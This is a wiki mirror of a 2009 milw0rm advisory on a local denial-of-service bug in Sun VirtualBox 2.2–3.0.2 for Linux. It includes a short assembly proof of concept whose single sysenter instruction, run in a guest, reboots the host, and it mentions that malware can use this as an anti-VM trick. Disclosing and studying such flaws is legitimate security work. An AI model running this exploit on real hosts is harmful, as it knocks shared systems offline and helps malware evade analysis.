Virtual Box Reboot DoS Exploit

From Mexico.purplecow.org

Current revision

Copied from: http://www.milw0rm.com/exploits/9323

Per their site, "milw0rm" retains copyright on this content; mirrored here for convenience only. Content will persist subject to any requests from www.milw0rm.com.

Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01

VULNERABILITY INFORMATION

Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux

VULNERABILITY DESCRIPTION

VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.

POC

; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot

BITS 32
SECTION .text
GLOBAL main

main:
    sysenter
    ret

# milw0rm.com [2009-08-01]